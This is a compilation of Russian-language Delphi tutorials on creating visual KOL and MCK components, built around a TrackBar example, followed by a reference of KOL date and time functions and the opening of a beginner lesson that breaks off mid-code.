Статьи по Delphi (011)…

Создание компонентов для KOL и MCK - Часть 3 - Создание визуального KOL компонента.

Ведущий раздела KOL и MCK: Анатолий aka XVeL Автор: Жаров Дмитрий aka Gandalf WEB-сайт: http://kol.mastak.ru

Полную версию библиотеки KOL и MCK можно скачать здесь

Создание визуального KOL компонента: Сфера вид сбоку.

На самом деле создание визуальных компонентов под KOL и MCK не сильно отличается от создания не визуальных, но некоторые различия все же есть, они следует из разницы между визуальными и не визуальными компонентами вообще: 1. Наследование 2. Создание (New) 3. Сообщения (Events) Пойдем по порядку. Наследоваться можно от TObj как и мы делали для не визуальных компонентов, а можно от TControl второй способ рекомендован Кладовым. И в данной главе мы рассмотрим именно его. Вообще наследование от TControl имеет один недостаток, который поначалу пугает - нельзя вводить свои переменные в новый тип, вы скажите, что без этого создать компонент нельзя, но не беспокойтесь этот дефект довольно легко обходится. Именно из-за этого дефекта появилась идея наследоваться от TObj, но как показала практика его нечего, боятся, это даже не дефект это особенность. Так же выяснилось, что наследование TObj добавляет массу проблем, при создании MCK компонента, не говоря уже о KOL. Да и при доведении до полной работоспособности код становится очень громоздким (в 3-5 и более раз, что отражается на размере откомпилированного файла), плохо адаптируемым к новым версиям KOL .Все же идея изначально была неплоха и в данной статье она рассматривается. С наследованием решили, теперь создание, опять же чтобы не водить по воздуху руками возьмем в качестве примера много страдальным TrackBar.

unit KOLMHTrackBar;
interface
uses
  windows, messages, KOL;
type
  PMHTrackBar =^TMHTrackBar;
  TKOLMHTrackBar = PMHTrackBar;
  TMHTrackBar = object(TControl)
    private
      function GetOnScroll: TOnScroll;
      procedure SetOnScroll(const Value: TOnScroll);
      function GetFrequency: DWord;
      procedure SetFrequency(const Value: DWord);
      procedure SetOrientation(const Value: TTrackBarOrientation);
      function GetOrientation: TTrackBarOrientation;
    public
      procedure Recreate;
      procedure ClearSel;
      property Orientation: TTrackBarOrientation read GetOrientation write SetOrientation;
      property Frequency: DWord read GetFrequency write SetFrequency;
      property Position: DWord index 2 read GetVal write SetVal;
      property OnScroll: TOnScroll read GetOnScroll write SetOnScroll;
    end;
const
  TRACKBAR_CLASS = 'msctls_trackbar32';
  TBS_AUTOTICKS = $0001;
  TBS_VERT = $0002;
  TBS_HORZ = $0000;
  TBS_TOP = $0004;
  TBS_BOTTOM = $0000;
  TBS_LEFT = $0004;
  TBS_RIGHT = $0000;
  TBS_BOTH = $0008;
  TBS_NOTICKS = $0010;
  TBS_ENABLESELRANGE = $0020;
  TBS_FIXEDLENGTH = $0040;
  TBS_NOTHUMB = $0080;
  TBS_TOOLTIPS = $0100;
  TBM_GETPOS = WM_USER; 
  TBM_GETRANGEMIN = WM_USER + 1; 
  TBM_GETRANGEMAX = WM_USER + 2; 
  TBM_GETTIC = WM_USER + 3;
  TBM_SETTIC = WM_USER + 4;
  TBM_SETPOS = WM_USER + 5; 
  TBM_SETRANGE = WM_USER + 6; 
  TBM_SETRANGEMIN = WM_USER + 7; 
  TBM_SETRANGEMAX = WM_USER + 8; 
  TBM_CLEARTICS = WM_USER + 9;
  TBM_SETSEL = WM_USER + 10; 
  TBM_SETSELSTART = WM_USER + 11; 
  TBM_SETSELEND = WM_USER + 12; 
  TBM_GETPTICS = WM_USER + 14;
  TBM_GETTICPOS = WM_USER + 15;
  TBM_GETNUMTICS = WM_USER + 16;
  TBM_GETSELSTART = WM_USER + 17; 
  TBM_GETSELEND = WM_USER + 18; 
  TBM_CLEARSEL = WM_USER + 19; 
  TBM_SETTICFREQ = WM_USER + 20; 
  TBM_SETPAGESIZE = WM_USER + 21; 
  TBM_GETPAGESIZE = WM_USER + 22; 
  TBM_SETLINESIZE = WM_USER + 23; 
  TBM_GETLINESIZE = WM_USER + 24; 
  TBM_GETTHUMBRECT = WM_USER + 25; 
  TBM_GETCHANNELRECT = WM_USER + 26; 
  TBM_SETTHUMBLENGTH = WM_USER + 27; 
  TBM_GETTHUMBLENGTH = WM_USER + 28;
  TBM_SETTOOLTIPS = WM_USER + 29;
  TBM_GETTOOLTIPS = WM_USER + 30; 
  TBM_SETTIPSIDE = WM_USER + 31;
  TBTS_TOP = 0;
  TBTS_LEFT = 1;
  TBTS_BOTTOM = 2;
  TBTS_RIGHT = 3;
  TBM_SETBUDDY = WM_USER + 32;
  TBM_GETBUDDY = WM_USER + 33;
  TBM_SETUNICODEFORMAT = CCM_SETUNICODEFORMAT;
  TBM_GETUNICODEFORMAT = CCM_GETUNICODEFORMAT;
  TB_LINEUP = 0;
  TB_LINEDOWN = 1;
  TB_PAGEUP = 2;
  TB_PAGEDOWN = 3;
  TB_THUMBPOSITION = 4;
  TB_THUMBTRACK = 5;
  TB_TOP = 6;
  TB_BOTTOM = 7;
  TB_ENDTRACK = 8;
  TBCD_TICS = $0001;
  TBCD_THUMB = $0002;
  TBCD_CHANNEL = $0003;
  Visible2Style: array [Boolean] of DWord = ($0, WS_VISIBLE);
  Orientation2Style: array [TTrackBarOrientation] of DWord = (TBS_HORZ, TBS_VERT);
  function NewMHTrackBar(AParent: PControl; Visible: Boolean; Orientation: TTrackBarOrientation; 
                         OnScroll: TOnScroll): PMHTrackBar;
implementation
type
  PTrackbarData = ^TTrackbarData;
  TTrackbarData = packed record
    FOnScroll: TOnScroll;
    FOrientation: TTrackBarOrientation;
    FFrequency: DWord;
end;
function WndProcTrackbarParent( Sender: PControl; var Msg: TMsg; var Rslt: Integer ): Boolean;
var
  D: PTrackbarData;
  Trackbar: PMHTrackbar;
begin
  Result := FALSE;
  if (Msg.message = WM_HSCROLL) or (Msg.message = WM_VSCROLL) then
    if (Msg.lParam <> 0) then
    begin
      Trackbar := Pointer( GetProp( Msg.lParam, ID_SELF ) );
      if Trackbar <> nil then
      begin
        D := Trackbar.CustomData;
        if Assigned( D.FOnScroll ) then
          D.FOnScroll( Trackbar, Msg.wParam );
        end;
      end;
    end;
function NewMHTrackBar(AParent: PControl; Visible: Boolean; Orientation: TTrackBarOrientation;
                       OnScroll: TOnScroll): PMHTrackBar;
var
  D: PTrackbarData;
begin
  DoInitCommonControls( ICC_BAR_CLASSES );
  Result := PMHTrackbar(_NewCommonControl(AParent, TRACKBAR_CLASS, WS_CHILD or
            Visible2Style[Visible] or TBS_FIXEDLENGTH or TBS_ENABLESELRANGE or
            Orientation2Style[Orientation], False, 0));
  GetMem(D, Sizeof(D^));
  Result.CustomData := D;
  D.FOnScroll := OnScroll;
  AParent.AttachProc(WndProcTrackbarParent);
end;
procedure TMHTrackBar.Recreate;
begin
end;
function TMHTrackBar.GetFrequency: DWord;
var
  D: PTrackbarData;
begin
  D := CustomData;
  Result := D.FFrequency;
end;
procedure TMHTrackBar.SetFrequency(const Value: DWord);
var
  D: PTrackbarData;
begin
  D := CustomData;
  D.FFrequency := Value;
  Perform(TBM_SETTICFREQ, Value, 1);
end;
function TMHTrackBar.GetOrientation: TTrackBarOrientation;
begin
  Result := PTrackbarData(CustomData)^.FOrientation;
end;
procedure TMHTrackBar.SetOrientation(const Value: TTrackBarOrientation);
begin
  PTrackbarData(CustomData)^.FOrientation := Value;
  Recreate;
end;
function TMHTrackbar.GetOnScroll: TOnScroll;
var
  D: PTrackbarData;
begin
  D := CustomData;
  Result := D.FOnScroll;
end;
procedure TMHTrackbar.SetOnScroll(const Value: TOnScroll);
var
  D: PTrackbarData;
begin
  D := CustomData;
  D.FOnScroll := Value;
end;
procedure TMHTrackbar.ClearSel;
begin
  Perform(TBM_CLEARSEL, 1, 0);
end;
function TMHTrackbar.GetPosition: DWord;
begin
  Result := Perform(TBM_GETPOS, 0, 0);
end;
procedure TMHTrackbar.SetPosition(const Value: DWord);
begin
  Perform(TBM_SETPOS, 1, Value);
end;
end.

Исходный код приведен не полностью, поскольку он довольно велик, из него были извлечены фрагменты, не содержащие информацию обучающего характера, если вы все же хотите увидеть весь код, вы можете найти их в Интернете или написать мне. Посмотрим, что у нас есть - создание:

function NewMHTrackBar(AParent: PControl; Visible: Boolean; Orientation: TTrackBarOrientation;
                       OnScroll: TOnScroll): PMHTrackBar;
var
  D: PTrackbarData;
begin
  DoInitCommonControls( ICC_BAR_CLASSES );
  Result := PMHTrackbar(_NewCommonControl(AParent, TRACKBAR_CLASS, WS_CHILD
            or Visible2Style[Visible] or TBS_FIXEDLENGTH or TBS_ENABLESELRANGE or
            Orientation2Style[Orientation], False, 0));
  GetMem(D, Sizeof(D^));
  Result.CustomData := D;
  D.FOnScroll := OnScroll;
  AParent.AttachProc(WndProcTrackbarParent);
end;

Начнем с переедаемых параметров - Parent, Visible, Orientation, OnScroll - думаю назначение ясно без комментариев, но достойны ли они идти в качестве постоянных "спутников жизни"? Без Родителя компонент не создать! Видимость можно указать на этапе создания - поэтому выносить ее отдельно не хочется. Ориентацию вообще можно установить только во время создания и поменять нельзя! Событие желательно прикреплять как можно раньше, ну что думаю, возражений нет. Строка:

DoInitCommonControls( ICC_BAR_CLASSES );

Нужна для инициализации "стандартных компонентов" (CommonControls - понятие API). Особенность этой строки заключается в том, что ее необходимо вызывать только один раз, для любого числа ТrаскВаr'ов. И поэтому появляться в New она собственно недолжна, лучше ее поместить в конце модуля.

begin
  DoInitCommonControls( ICC_BAR_CLASSES );
end.

Тогда если TrackBar(ы) создается(ются) эта строка вызывается, если же нет, то KOL и MCK удалит сам модуль из uses и вызываться она не будет - оптимизация. Хотя есть еще мысль поручить вызов функции MCK части компонента (где-нибудь в SetupFirst) вроде того:

procedure TKOLMHTrackBar.SetupFirst(SL: TStringList; const AName, AParent, Prefix: string);
 …
begin
  SL.Add(' DoInitCommonControls( ICC_BAR_CLASSES );');
  …

Преимущества пока не совсем очевидны, но если договорится, веем оформлять подобные (с точки зрения количества вызовов) функции таким образом (в MCK части компонента) и перед добавлением данной строки осуществлять проверку на ее наличие, то можно облегчить код, а значит и размер программы (заметим, что это отразится и на быстродействии, в положительную сторону) - правда не очень (насчет выгоды не хочу вводить вас в заблуждение - она невелика, мелочь, а приятно). Ладно, далее:

Result := PMHTrackbar(_NewCommonControl(AParent, TRACKBAR_CLASS, WS_CHILD    
          or Visible2Style[Visible] or TBS_FIXEDLENGTH or TBS_ENABLESELRANGE or
          Orientation2Style[Orientation], False, 0));

Просто создание. _NewCommonControl призвана создавать "стандартные компоненты", если хотите обычных вам подойдет _NewControl. Список параметров прост - думаю, разберетесь сами. PMHTrackbar(…) - преобразование типов необходимо, _NewCom… возвращает PControl, а нам нужен PMHTrackBar. А вот, например на Orientation2Style[Orientation] прошу обратить внимание! Некоторые для преобразования типов используют функции - но данная методика через массив, осуществляется проще, работает быстрее, занимает меньше места - советую применять. Далее очень интересный момент, помните, я говорил, нельзя вводить новые переменные, а вот и решение:

GetMem(D, Sizeof(D^));
Result.CustomData := D;
D.FOnScroll := OnScroll;

Выделяем память, и передаем указатель на данные стандартному свойству CustomData. Тип PTrackbarData мы определили, и добавили все необходимое нам для счастья переменные. Об освобождении памяти можно забыть, Кладов заботливо сделал это за нас, и она (память) будет заботливо освобождена при уничтожении компонента. Не забудем присвоить уже полученное значение (OnScroll). А теперь тоже интересный и важный момент - создание события (event) - OnScroll:

AParent.AttachProc(WndProcTrackbarParent);
И все! Этой строкой, мы только прицепляем (именно прицепляем - добавляем, но не заменяем) обработчик нашему родителю. Именно к родителю, это не специфика KOL и MCK и не моя прихоть особенность API. Но все не так просто, сначала нам пришлось написать функцию:
function WndProcTrackbarParent( Sender: PControl; var Msg: TMsg; var Rslt: Integer ): Boolean;
var
  D: PTrackbarData;
  Trackbar: PMHTrackbar;
begin
  Result := FALSE;
  if (Msg.message = WM_HSCROLL) or (Msg.message = WM_VSCROLL) then
    if (Msg.lParam <> 0) then
    begin
      Trackbar := Pointer( GetProp( Msg.lParam, ID_SELF ) );
      if Trackbar <> nil then
      begin
        D := Trackbar.CustomData;
        if Assigned( D.FOnScroll ) then
           D.FOnScroll( Trackbar, Msg.wParam );
      end;
    end;
end;

Не вдаваясь в API (это тема не нашей статьи) - она смотрит, что за событие (нам нужен WM_XXSCROLL), и для кого пришло (Handle) и если есть обработчик (OnScroll) пользователя - он выполняется, все. Может возникнуть справедливый вопрос - чем мне не нравится стандартный обработчик OnScroll (он ведь уже есть) - отвечаю нечем, это просто пример. Теперь займемся свойствами. Установка позиции, API позволяет, получит нынешние состояние при помощи функции и установить необходимое, поэтому мы не используем CustomData. Вызов Perform аналогичен SendMessage(Handle,…), т.е. посылает сообщение себе.

function TMHTrackbar.GetPosition: DWord;
begin
  Result := Perform(TBM_GETPOS, 0, 0);
end;
procedure TMHTrackbar.SetPosition(const Value: DWord);
begin
  Perform(TBM_SETPOS, 1, Value);
end;

А вот если API вернуть нынешнее состояние параметра не в состоянии, его предется сохранять в CustomData:

function TMHTrackBar.GetOrientation: TTrackBarOrientation;
begin
  Result := PTrackbarData(CustomData)^.FOrientation;
end;
procedure TMHTrackBar.SetOrientation(const Value: TTrackBarOrientation);
begin
  PTrackbarData(CustomData)^.FOrientation := Value;
  Recreate;
end;
function TMHTrackbar.GetOnScroll: TOnScroll;
var
  D: PTrackbarData;
begin
  D := CustomData;
  Result := D.FOnScroll;
end;
procedure TMHTrackbar.SetOnScroll(const Value: TOnScroll);
var
  D: PTrackbarData;
begin
  D := CustomData;
  D.FOnScroll := Value;
end;

Тут показаны методики доступа к CustomData -правда, просто - причем два способа, причем с точки зрения откомпилированного кода он тождественны, выбирайте на вкус, я люблю первый. Вы наверняка заметили в функции SetOrientation вызов Recreate, но сама функция пустая. Как я уже говорил, есть свойства, который в режиме работы поменять можно только пересоздав компонент (Ориентация - например, один из них). Кладов предлагает два выхода: 1. Создать в режиме разработки несколько компонентов с необходимыми наборами свойств, а потом переключать их при помощи Visible (т.е. ненужные скрывать, нужные показывать). 2. В режиме работы, старый уничтожать, а новый создавать с необходимым набором свойств (только в обратном порядки, сначала создать, а потом разрушить - чтобы избежать пропадания компонента и было, откуда копировать свойства). Первый метод громоздок, с точки зрения разработки, да и если у вас много свойств - и вы все хотите менять, то количество компонентов, которое вам понадобиться может быть очень солидным. Второй громоздкий в плане исполнения руками - рутинен. Я предлагаю, чтобы не нагружать разработчика, большим и не нужным кодом, создать один раз Recreate (в KOL модуле) и вызывать его. С точки зрения потерь в эффективности - они небольшие, и появляется исключительно в специфических случаях, а так методики равнозначные. В любом случае имеющаяся сейчас у меня методика воссоздания меня не сильно устраивает. Есть идея войти глубже в KOL, и создать такие методы для TObj и TComponent (а может где и еще). Если у кого есть идеи, пишите - дискуссия открыта. Собственно вот мы и разобрали весь код. Есть еще функция ClearSel, но она банальна и в себе ничего нового не несет. Теперь вы умеете создавать визуальные компоненты, для KOL. Вооружаемся MSDN и в бой! Я хочу сказать, пока глава не окончилась еще пару слов об оптимизации. Человеку свойственна оптимизация, она идет от стремления к совершенству, но это не тема статьи. Есть два типа оптимизации: абсолютная - когда в результате растет и быстродействие и падает объем программы, относительное - когда улучшается что одно, а другое ухудшается (скорость - размер, размер - скорость).Для людей характерен первый вариант (абсолютная), чуть реже они оптимизирует в угоду скорости (это факт). Я хочу рассмотреть оптимизацию в пользу объема. И поступим мы так, возьмем наш TrackBar и посмотрим на следующие свойства:

property Min: DWord…;
property Max: DWord …;
property Position: DWord …;
property SelStart: DWord …;
property SelEnd: DWord …;
property PageSize: DWord …;
property LineSize: DWord …;
property ThumbLength:DWord…;

Как мы обычно делаем? SetMax/GetMax, SetMin/GetMin и пошло. А если подумать, они все одного типа. Теперь посмотрим на код функций и процедур Set/Get:

function TMHTrackbar.GetPosition: DWord;
begin
  Result := Perform(TBM_GETPOS, 0, 0);
end;
procedure TMHTrackbar.SetPosition(const Value: DWord);
begin
  Perform(TBM_SETPOS, 1, Value);
end;

Или вот:

function TMHTrackbar.GetMax: DWord;
begin
  Result := Perform(TBM_GETRANGEMIN, 0, 0);
end;
procedure TMHTrackbar.SetMin(const Value: DWord);
begin
  Perform(TBM_SETRANGEMIN, 1, Value);
end;

Можно обобщить как:

property Min: DWord index 0 read GetVal write SetVal;
property Max: DWord index 1 read GetVal write SetVal;
property Orientation: TTrackBarOrientation read GetOrientation write SetOrientation;
property Position: DWord index 2 read GetVal write SetVal;
property SelStart: DWord index 3 read GetVal write SetVal;
property SelEnd: DWord index 4 read GetVal write SetVal;
property PageSize: DWord index 5 read GetVal write SetVal;
property LineSize: DWord index 6 read GetVal write SetVal;
property ThumbLength: DWord index 7 read GetVal write SetVal;
function TMHTrackbar.GetVal(const Index: Integer): DWord;
  type RVal = packed record
    Com: DWord;
    Par1: Byte;
    Par2: Byte;
  end;
const
  Val: array [0..7] of RVal = 
       (
       (Com: TBM_GETRANGEMIN; Par1: 0; Par2: 0),
       (Com: TBM_GETRANGEMAX; Par1: 0; Par2: 0),
       (Com: TBM_GETPOS; Par1: 0; Par2: 0),
       (Com: TBM_GETSELSTART; Par1: 0; Par2: 0),
       (Com: TBM_GETSELEND; Par1: 0; Par2: 0),
       (Com: TBM_GETPAGESIZE; Par1: 0; Par2: 0),
       (Com: TBM_GETLINESIZE; Par1: 0; Par2: 0),
       (Com: TBM_GETTHUMBLENGTH; Par1: 0; Par2: 0)
       );
begin
  with Val[Index] do
    Result := Perform(Com, Par1, Par2);
end;
procedure TMHTrackbar.SetVal(const Index: Integer; const Value: DWord);
  
  type RVal = packed record     Com: DWord;
    Use1: Byte;
    Use2: Byte;
    Par1: Byte;
    Par2: Byte;
  end;
const
  Val: array [0..7] of RVal = 
       (
       (Com: TBM_SETRANGEMIN; Use1: 0; Use2: 1; Par1: 1; Par2: 0),
       (Com: TBM_SETRANGEMAX; Use1: 0; Use2: 1; Par1: 1; Par2: 0),
       (Com: TBM_SETPOS; Use1: 0; Use2: 1; Par1: 1; Par2: 0),
       (Com: TBM_SETSELSTART; Use1: 0; Use2: 1; Par1: 1; Par2: 0),
       (Com:TBM_SETSELEND; Use1:0; Use2:1; Par1:1; Par2: 0),
       (Com: TBM_SETPAGESIZE; Use1: 0; Use2: 1; Par1: 1; Par2: 0),
       (Com: TBM_SETLINESIZE; Use1: 0; Use2: 1; Par1: 1; Par2: 0),
       (Com: TBM_SETTHUMBLENGTH; Use1: 1; Use2: 0; Par1: 0; Par2: 0)
       );
begin
with Val[Index] do
  Perform(Com, Value*Use1 + Par1, Value*Use2 + Par2);
end;

Как вам, вместо 14 методов 2? Статистику слегка портит THUMBLENGTH, но его можно выкинуть и упростить методы. Можно еще под Com выделять байт и сделать так:

…
(Com: TBM_SETRANGEMIN - WM_USER; Use1: 0; Use2: 1; Par1: 1; Par2: 0),
…
Perform(Com + WM_USER, Value*Use1 + Par1, Value*Use2 + Par2);

Еще экономия. Вы можете сказать, что теперь код стал медленнее, это так, но не сильно - это раз, а во-вторых в деле графического интерфейса - это не самый критичный код (самый критичный отрисовка - а ей руководит ОС). Мда… маленькая вставочка - недаром я хотел ее в отдельную главу оформить.

Создание компонентов для KOL и MCK - Часть 4 - Создание визуальных MCK объектов.

Ведущий раздела KOL и MCK: Анатолий aka XVeL Автор: Жаров Дмитрий aka Gandalf WEB-сайт: http://kol.mastak.ru

Полную версию библиотеки KOL и MCK можно скачать здесь

Создание визуальных MCK объектов: Не опять, а снова.

Вообще-то учить вас тут нечему, различий тут еще меньше чем в KOL части, но кое-что еще есть. Визуальные компоненты наследуются от TKOLControl - он специально для этого создан. Мы добавили свое событие, как добавить код, и какой? Ну, это не сложно, потупим так (часть кода вырезана):

uses
  Windows, Controls, Classes, mirror, KOL, Graphics, MCKCtrls, KOLMHTrackBar;
type
  TKOLMHTrackBar = class(TKOLControl)
  private
    …
    FOnScroll: TOnScroll;
    procedure SetOnScroll(const Value: TOnScroll);
    …
  public
    property OnScroll: TOnScroll read FOnScroll write SetOnScroll;
    …
end;

Вот и все, будет жить. Да обратите внимание на uses - я его не просто так привел, TOnScroll есть в разных модулях, нам нужен тот, который в KOLMHTrackBar, поэтому порядок следования важен! Чтобы не полагаться на порядок лучше писать KOLMHTrackBar. TOnScroll. Но это событие уже было определено, и мы его переопределили, если создано новое, то надо переопределить процедуру AssignEvents - она занимается регистрацией событий. Делается это так:

protected
  procedure AssignEvents(SL: TStringList; const AName: string); override;
  …
  procedure TKOLMHTrackBar.AssignEvents(SL: TStringList; const AName: string);
begin
  inherited;
  DoAssignEvents( SL, AName, [ 'OnMyEvent'], [ @OnMyEvent] );
end;

Не много труда! Да вот важный момент, если мы попытаемся сейчас применить компонент, нас обругает компилятор, мол, несоответствие типов (Incompatible types: 'TControl' and 'TMHTrackBar' - если дословно). Чтобы сохранить паритет, надо их привести к одному знаменателю, я предлагаю сделать так - переопределить конструкцию создания:

protected
  procedure SetupConstruct( SL: TStringList; const AName, AParent, Prefix: string ); override;
  …
procedure TKOLMHTrackBar.SetupConstruct(SL: TStringList; const AName, AParent, Prefix: string);
var S: String;
begin
  S := GenerateTransparentInits;
  SL.Add( Prefix + AName + ' := PMHTrackbar( New' + TypeName + '( ' + 
          SetupParams( AName, AParent ) + ' )' + S + ');' );
end;

Благодаря этому коду, у нас теперь будет генерироваться, нет, не New,… а PMHTrackBar(New…. (SetupParams - узнаете)), элементарно. Мы изменили конструкцию генерации! GenerateTransparentInits - нужен для последующей совместимости с KOL и MCK, он пока ничего не делает, но когда будет реализована прозрачность он себя покажет. Для рассмотрения еще одного момента добавим в наш компонент Buddyes - такие окошки, которые располагаются рядом с ТrаскВаr'ом, в качестве их можно назначить любой компонент. В KOL часть такой код:

private
  function GetHandle(const Index: Integer): HWnd;
  procedure SetHandle(const Index: Integer; const Value: HWnd);
  …
public
  …
  property BuddyRightBottom: HWnd index 0 read GetHandle write SetHandle;
  property BuddyLeftTop: HWnd index 1 read GetHandle write SetHandle;
  …
function TMHTrackbar.GetHandle(const Index: Integer): HWnd;
const
  Mes: array [0..1] of DWord = (TBM_GETBUDDY, TBM_GETBUDDY);
begin
  Result := Perform(Mes[Index], Index, 0);
end;
procedure TMHTrackbar.SetHandle(const Index: Integer; const Value: HWnd);
const
  Mes: array [0..1] of DWord = (TBM_SETBUDDY, TBM_SETBUDDY);
begin
  Perform(Mes[Index], Index , Value);
end;

А в MCK часть:

private
  …
  FBuddyLeftTop: TKOLControl;
  FBuddyRightBottom: TKOLControl;
  procedure SetBuddyLeftTop(const Value: TKOLControl);
  procedure SetBuddyRightBottom(const Value: TKOLControl);
published
  …
  property BuddyLeftTop: TKOLControl read FBuddyLeftTop write SetBuddyLeftTop;
  property BuddyRightBottom: TKOLControl read FBuddyRightBottom write SetBuddyRightBottom;
  …
procedure TKOLMHTrackBar.SetBuddyLeftTop(const Value: TKOLControl);
begin
  FBuddyLeftTop := Value;
  Change;
end;
procedure TKOLMHTrackBar.SetBuddyRightBottom(const Value: TKOLControl);
begin
  FBuddyRightBottom := Value;
  Change;
end;

Теперь мы можем выбирать компонент из формы и назначать в качестве Buddy, но не торопитесь добавлять код в SetupFirst:

if FBuddyLeftTop <> nil then
  SL.Add(Prefix + AName + '.BuddyLeftTop:=Result.' + FBuddyLeftTop.Name + '.GetWindowHandle;');
if FBuddyRightBottom <> nil then
  SL.Add(Prefix + AName + '.BuddyRightBottom:=Result.' + FBuddyRightBottom.Name + 
         '.GetWindowHandle;');

Это не будет работать! Фокус в том мы пытаемся, присвоит Handle объектов до того, когда они созданы, это невозможно. Что же делать? Выход есть! Надо использовать SetupLast. Он займется обеспечением того, чтобы сначала Buddyes были созданы, а потом уже было присвоение кода. Механически это выполняется при помощи изменения положения строк кода. Т.е. сначала идет код создания Buddyes, а потом присвоение Handle. Поступаем следующим образом:

protected
  procedure SetupLast(SL: TStringList; const AName, AParent, Prefix: String); override;
  …
procedure TKOLMHTrackBar.SetupLast(SL: TStringList; const AName, AParent, Prefix: String);
begin
  inherited;
  if FBuddyLeftTop <> nil then
    SL.Add(Prefix + AName + '.BuddyLeftTop:=Result.' + FBuddyLeftTop.Name + '.GetWindowHandle;');
  if FBuddyRightBottom <> nil then
    SL.Add(Prefix + AName + '.BuddyRightBottom:=Result.' + 
           FBuddyRightBottom.Name + '.GetWindowHandle;');
  if FToolTip <> nil then
    SL.Add(Prefix + AName + '.ToolTip:=Result.' + FToolTip.Name + '.GetWindowHandle;');
end;

Теперь последние штрихи. Вас не раздражают в ОbjесtInsресtоr'е лишние свойства? Они достались нам в наследство от TKOLControl. Уберем их, для этого сделаем фиктивную переменную, и переопределим свойства только, на чтение - такие свойства ObjectInspector прячет:

private
  …
  // Фиктивное свойство
  FNotAvailable: Boolean;
  …
public
  … 
  property Caption: Boolean read FNotAvailable;
  property Color: Boolean read FNotAvailable;
  property Font: Boolean read FNotAvailable;
end;

Их больше нет! Теперь запустим компонент, чего не хватает, что режет глаз? Отрисовка, вместо красивого ползунка - прямоугольник и гордым именем. Я не буду давать уроков рисования - рисовать компоненты будете вы, я подскажу, как это реализовать. Сначала переопределим Paint:

protected
  procedure Paint; override;

Но этого мало, надо сказать MKC, что вы можете отрисовать компонент, но это еще проще:

protected
  function WYSIWIGPaintImplemented: Boolean; override;
function TKOLEditBox.WYSIWIGPaintImplemented: Boolean;
begin
  Result := TRUE;
end;

Я помню еще те времена, когда у MCK не было отрисовки совсем, это (меня) страшно злило, и я начал поиски - идея повторять отрисовку MicroSoft меня не вдохновляло (повторять - всегда сложно, а ведь нужно именно повторить). Но никуда не денешься, пришлось рисовать, я, собрав волю в кулак, сделал отрисовку Label, Edit. Пример оказался заразительным сейчас большинства компонентов есть отрисовка. Бог в помощь! Ну вот, пожалуй, и все, действительно все.

Заключение: Пожалуй, не все… Да, я не претендую на полноту изложения. Я сказал не все! Времени не хватило, сил. Набирая эти строки, я обдумываю еще пару глав, кое-какие дополнения, коррективы. Есть компоненты, которым не нужна KOL часть. Есть вариант наследования визуальных компонентов от TObj, еще много чего есть. Есть еще и специфические моменты, с которыми, вы не встретитесь, а если встретитесь, то моя помощь уже вам будет не нужна. Наверно после прочтения этой статьи остались те, кому она не понравилась, те кто ее не понял, те кто поняли, что это не для них. Но я верю, что были и те, кто до прочтения не знал, как создавать компоненты под KOL и MCK , а после прочтения стали их делать. Эту статью я писал для них. И если они есть, я работал не напрасно. Прошу вас KOL и MCK - это точно не VCL. Не городите лишних компонентов, сделайте основные компоненты. Не дублируйте имеющиеся - развивайте их. Возможно, эту статью должен был написать Кладов, но ее написал я…

Справочник по KOL - Функции работы с датами и временем.

Ведущий раздела KOL и MCK: Анатолий aka XVeL Автор: Борис Моренко WEB-сайт: http://kol.mastak.ru

Полную версию библиотеки KOL и MCK можно скачать здесь.

Function Now: TDateTime; Возвращает текущую датау и время на вашем компьютере. TDateTime в KOL ни чем не отличается от VCL аналога. TDateTime представляет из себя число с плавающей запятой (т.е. Double), целая часть которого содержит число дней, отсчитанное от некоторого начала календаря, а дробная часть равна части 24-часового дня, т.е. характеризует время и не относится к дате.

Function CompareSystemTime( const D1, D2: TSystemTime ): Integer; Функция сравнивает 2-е записи типа TSystemTime. На выходе: -1 если D1 < D2 0 если D1 = D2 1 если D1 > D2. TSystemTime - структура используемая в Winddows API для хранения данных о датах и времени. IMHO зачастую она даже удобней в использование обычной TDateTime. Подробней конечно можно посмотреть и в Win32.hlp, но всетаки... Для получения системного времени : GetSystemTime Для установки системного времени на вашем компьютере: SetSystemTime.

 
type
PSystemTime = ^TSystemTime;
  TsystemTime = record
  wYear: Word; //год
  wMonth: Word; //месяц
  wDayofWeek: Word; //день недели
  wDay: Word; //день
  wHour: Word; //часы
  wMinute: Word; // минуты
  wSecond: Word; // секунды
  wMilliseconds: Word; // миллисекунды
end;

procedure IncDays( var SystemTime: TSystemTime; DaysNum: Integer ); Увеличивает или уменьщает количество дней в записи типа TSystemTime. DaysNum может быть отрицательным.

Procedure IncMonths( var SystemTime: TSystemTime; MonthsNum: Integer ); Увеличивает или уменьщает количество дней в записи типа TSystemTime. DaysNum может быть отрицательным. Правильный результат не гарантирован если число дней превышено для нового месяца.

Function IsLeapYear( Year: Word ): Boolean; . Возвращает true если указанные год Year является высокосным (то есть имеет 29 дней в Феврале).

Function DayOfWeek( Date: TDateTime ): Integer; Возвращает день недели (от 0 до 6) для текушей даты.

Function SystemTime2DateTime( const SystemTime: TSystemTime; var DateTime: TDateTime ): Boolean; Преобразует дату из типа TSystemTime в TDateTime.

Function DateTime2SystemTime( const DateTime: TDateTime; var SystemTime: TSystemTime ): Boolean; Преобразует дату из типа TDateTime в TSystemTime.

Function CatholicEaster( nYear: Integer ): TDateTime; Возвращает дату католического рождества в указаном году.

Урок 1 - Базовые знания о KOL - Наше первое окно.

Ведущий раздела KOL и MCK: Анатолий aka XVeL Автор: Борис Моренко WEB-сайт: http://kol.mastak.ru

Полную версию библиотеки KOL и MCK можно скачать здесь.

Базовые знания о KOL

Базовый объект TObj - аналог класса TObject из VCL. TObj мало похож на своего старшего брата, разве что методом удаления Free. Я никогда не применял TObj для дела, поэтому плавно перейду ко второму (самому главному для работы) объекту TControl. TControl может выполнять роль любого визуального обьекта и фактически выполняет обязанности для которых в Delphi отведены десяток классов. Для создания определенного контрола вам надо воспользоваться соответствующим "конструктором" . Под конструктором подразумевается функция, в параметрах у которой указывается родительский объект ( на нем будет находится ваш контрол, если дело касается визуальных объектов). В KOL есть и другие объекты, но про них я расскажу в соответствующих уроках так как они более узкоспециализированны.

Подробнее о теории в статье KOL - кодоэкономичная объектная библиотека для Delphi.

Наше первое окно.

Фактически, это не только ваше первое окно написанное с помощью KOL, но и первая программа с использованием этой библиотеки :).

Для начало удалим все лишнее. Лишним я называю все, что относится к визуальному программированию и VCL. В меню “Project“ выберите “Remove from Project“ и удалите форму. Теперь подредактируем и файл проекта. Нажмите F12 и выберите соответствующий файл.

То, что вы увидите, будет выглядеть примерно так:

program Project1;
uses
  Forms;
{$R *.RES}
begin
  Application.Initialize;
  Application.Run;
end.
Подредактируем текст :
program Project1;
uses
